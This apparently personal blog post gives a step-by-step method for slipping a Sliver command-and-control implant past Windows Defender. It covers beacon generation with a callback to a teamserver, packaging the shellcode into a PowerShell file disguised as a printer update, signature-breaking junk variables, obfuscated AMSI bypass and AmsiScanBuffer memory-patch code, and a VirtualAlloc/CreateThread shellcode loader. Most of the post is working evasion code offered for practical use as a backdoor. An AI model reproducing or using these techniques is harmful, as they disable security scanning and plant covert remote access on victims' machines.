March 20, 2021
by zjxy

Bypassing Windows Defender with Sliver

In this post I'll be discussing how I've been able to bypass Windows Defender with only a few modifications to the Sliver implant. Let's begin.

For this we begin by loading the Sliver client and generating a new implant

I've set this to to be the DNS of my server

Then for the payload we want to choose the "shellcode" option rather than exe, I used the following flags for mine:

generate beacon -e -f shellcode -b http://$teamserver/

After running this command, we'll be prompted if we would like to encode our payload with shikata-ga-nai.

For this example, I chose to go with the the non-encoded payload for reasons I will explain later into this post.

After generating the implant, we will use the follow MSFVenom command

msfvenom -p generic/custom payloadfile=STALE_DISEASE.bin -a x64 -f psh -o MsPrinterUpdate.ps1

Now with this done, we still aren't ready to deploy our implant. This still has the same format as a regular msfvenom payload so we want to alter the ps1 to break any potential signatures that could be flagged. The easier way to do this I've discovered, is to add junk instructions. We can easily add a few variable or operations and quickly change the signature of the file. The first modifications I made to the file

MsPrinterUpdate.ps1
Set-Variable -Name dogs -Value ("pingu station house")

Set-Variable -Name b -Value (4)

Set-Variable -Name fourdogs -Value ($dogs + "mrhi")

One thing to note is the variable names. I chose very generic words for the names of the variables. I cannot find the source to where I read some information regarding this, but the chosen variables names actually has an intention behind it. In the resource that I cannot find the link to again, it talked about how products like defender scan actually have less scrutiny against variables based on the connotation of the name. So a variable like "nature" could be scrutinized less than a variable name such as "Agent-Payload-Bypass".

For the next step, I added an AMSI patch following our variable declarations:

MsPrinterUpdate.ps1
Set-Variable -Name a -Value ([Ref].assEmbly.GeTTYpES());ForEach($b in $a) {if ($b.nAme -like "*iUtils") {$c = $b}};Set-Variable -Name d -Value ($c.GEtfIeLds('NonPublic,Static'));ForEach($e in $d) {if ($e.NaME -like "*Failed") {$f = $e}};$f.sETvAluE($null,$true)

Then next, we add a .NET AMSI interface patch for any .NET assemblies to be loaded:

MsPrinterUpdate.ps1
Set-Variable -Name baBOshhkamE -Value (@"

using System;
using System.Runtime.InteropServices;
public class baBOshhkamE {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr vypjdt, uint flNewProtect, out uint lpflOldProtect);
}
"@)

Add-Type $baBOshhkamE

Set-Variable -Name uziwhmv -Value ([baBOshhkamE]::LoAdLiBRARy("$(('ámsî'+'.dll').NORMAlIZe([chAR](70*30/30)+[ChAR](111*108/108)+[cHAR]((- ((106) – (106 + 114))))+[ChAr]((-((34)-(34 + 109))))+[chAR]([BYte]0x44)) -replace [chAR](60 + 32)+[cHAr](19+93)+[chAR](123)+[ChAR]((-((8)-(8 + 77))))+[ChaR]((- ((18) – (18 + 110))))+[chAR](125))"))
Set-Variable -Name zbrsqi -Value ([baBOshhkamE]::gETProCADdREss($uziwhmv, "$([CHAR]([BYTE]0x41)+[CHAr](22+87)+[CHAR](16+99)+[ChaR]([byTE]0x69)+[cHAr]([ByTe]0x53)+[cHar]([BYtE]0x63)+[Char](97)+[char]([bYTe]0x6e)+[ChAr]([BYtE]0x42)+[cHAr](117)+[chAr]([byTe]0x66)+[Char]([byte]0x66)+[cHaR](101*47/47)+[cHar]([bYTe]0x72))"))
Set-Variable -Name p -Value (0)

[baBOshhkamE]::VIRTuALPrOTEcT($zbrsqi, [uint32]5, 0x40, [Management.Automation.PSReference]$p)
Set-Variable -Name hngq -Value ("0xB8")
Set-Variable -Name kouc -Value ("0x57")
Set-Variable -Name jonv -Value ("0x00")
Set-Variable -Name ojkj -Value ("0x07")
Set-Variable -Name sofi -Value ("0x80")
Set-Variable -Name eqev -Value ("0xC3")
Set-Variable -Name zdxgj -Value ([Byte[]] ($hngq,$kouc,$jonv,$ojkj,+$sofi,+$eqev))
[System.Runtime.InteropServices.Marshal]::CopY($zdxgj, 0, $zbrsqi, 6)

Now following this I have another junk variable for the instruction for calling VirtualAlloc & CreateThread. Then the rest of the payload what was originally generated with our msfvenom command

MsPrinterUpdate.ps1
Set-Variable -Name smuRKo -Value (@"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@)

$XHDnaCKyI = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

$TUvfrSoLJfWHc = Add-Type -memberDefinition $XHDnaCKyI -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $hnSwlLiPsw = #bytes should be here

$RCykHjHDdsKg = $TUvfrSoLJfWHc::VirtualAlloc(0,[Math]::Max($hnSwlLiPsw.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($hnSwlLiPsw,0,$RCykHjHDdsKg,$hnSwlLiPsw.Length)

$TUvfrSoLJfWHc::CreateThread(0,0,$RCykHjHDdsKg,0,0,0)

Now back to when I mentioned that I would not be using the Shikata-ga-nai version of the shellcode is because, one big downside of using this tactic, is that the final payload size by the end of this process will be HUGE! The current size of the payload for me was at 72MB… Aside from this being a pretty large sized download to do on the network, especially if trying to stay under the radar, is that during my testing is that I found the execution could sometimes fail if the payload size was too large, this was generally when I tried it using the encoded version.

Now the good part about this is at-least now that we have the implant in a ps1 format, we can easily load it into memory and execute from there rather than downloading to disk. But the transfer does take a considerable amount of time. In my experience, you can definitely get a coffee and come back then still be waiting for a callback on this thing. Another upside is the armory within sliver contains a great selection of modules you can use to switch your main agent over to something like meterpreter using the msf-inject module, or executing beacon objects withe the BOF/COFF loader. So while this may not be the most practical solution as as your beacon into the network, it could potentially be a useful low backdoor. These same methods can be implement for a variety of things only limited by your creativity